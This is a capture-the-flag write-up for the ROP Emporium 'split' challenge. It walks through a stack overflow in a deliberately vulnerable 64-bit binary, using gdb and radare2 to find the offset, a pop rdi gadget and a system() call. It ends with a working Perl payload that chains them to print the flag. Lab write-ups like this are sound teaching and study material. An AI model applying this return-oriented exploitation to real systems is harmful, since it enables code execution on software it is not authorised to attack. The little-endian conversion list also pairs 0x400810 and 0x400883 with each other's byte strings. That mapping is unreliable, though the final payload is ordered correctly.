ROP Emporium CTF 2/7 split
This challenge uses a similar pwnme
function as the previous ret2win
challenge with the same offsets but a larger overflow (0x60
bytes).
$ perl -e 'print(("\x00" x 0x28) . "fedcba")' |
gdb ./split --batch -ex run
split by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
Scanning through the symbols we see two interesting things.
$ r2 ./split -qc "is"
[Symbols]
Num Paddr Vaddr Bind Type Size Name
...
039 0x00000807 0x00400807 LOCAL FUNC 17 usefulFunction
...
066 0x00001060 0x00601060 GLOBAL OBJ 26 usefulString
$ r2 split -qc "aa ; pdf @ sym.usefulFunction"
/ (fcn) sym.usefulFunction 17
| sym.usefulFunction ();
| 0x00400807 push rbp
| 0x00400808 mov rbp, rsp
| 0x0040080b mov edi, str.bin_ls ; "/bin/ls"
| 0x00400810 call sym.imp.system
| 0x00400815 nop
| 0x00400816 pop rbp
\ 0x00400817 ret
$ r2 split -qc "aa ; ps @ obj.usefulString"
/bin/cat flag.txt
It would seem that combining these two things, calling system
with
"/bin/cat flag.txt"
, is the purpose of this challenge.
The way arguments are passed to functions on AMD64 Linux (called the sysv ABI),
is via the following registers RDI
, RSI
, RDX
, RCX
, R8
, R9
, and then remaining arguments are passed on the stack. In our case we want obj.usefulString
(0x00601060
) to be in the RDI
register before we jump to call system()
(0x00400810
).
Radare2 has a command for searching gadgets which is /R
.
By wrapping the whole command in double quotes we can search for multiple
opcodes in the same gadget chain, in this case pop rdi
followed by ret
.
(The single quotes on the outside are for the sake of Bash).
$ r2 ./split -qc ' "/R pop rdi;ret" '
0x00400883 5f pop rdi
0x00400884 c3 ret
We now have all the ingredients for our ROP chain:
pop rdi
(0x00400883
)obj.usefulString
(0x00601060
)call sym.imp.system
(0x00400810
)
After the overflow we want our stack to look like this:
+--------------------+--------------------+
| rsp + 0x38 | 0x0000000000400810 | <-- 3.
| rsp + 0x30 | 0x0000000000601060 | <-- 2.
| rsp + 0x28 | 0x0000000000400883 | <-- 1.
| rsp + 0x20 | 0x0000000000000000 | <-- stored rbp
| rsp + 0x18 | 0x0000000000000000 | <-- end of buffer
| rsp + 0x10 | 0x0000000000000000 |
| rsp + 0x08 | 0x0000000000000000 |
| rsp + 0x00 | 0x0000000000000000 | <-- start of buffer
+--------------------+--------------------+
So after ret
ing from pwnme()
, the application will jump to 0x00400883
and
execute pop rdi
, the value pop
ed from the stack will be 0x00601060
(usefulString
), and the next ret
will jump to 0x00400810
and execute call
sym.imp.system
.
AMD64 is a little endian platform so we need to swap the bytes round for each memory address in our ROP chain:
0x0000000000400810
=>"\x83\x08\x40\x00\x00\x00\x00\x00"
0x0000000000601060
=>"\x60\x10\x60\x00\x00\x00\x00\x00"
0x0000000000400883
=>"\x10\x08\x40\x00\x00\x00\x00\x00"
Converting addresses manually gets tedious so here is a bash one liner
$ echo $(echo -n "$1" |
sed -re 's/([0-9a-f]{2})/\\x\1/g' |
tac -b -rs '\(\\x\|\s\)' -)
Here is the example in action, successfully printing the flag:
$ perl -e 'print(("\x00" x 0x28) .
"\x83\x08\x40\x00\x00\x00\x00\x00" .
"\x60\x10\x60\x00\x00\x00\x00\x00" .
"\x10\x08\x40\x00\x00\x00\x00\x00")' |
./split
split by ROP Emporium
...
> ROPE{a_placeholder_32byte_flag!}
Segmentation fault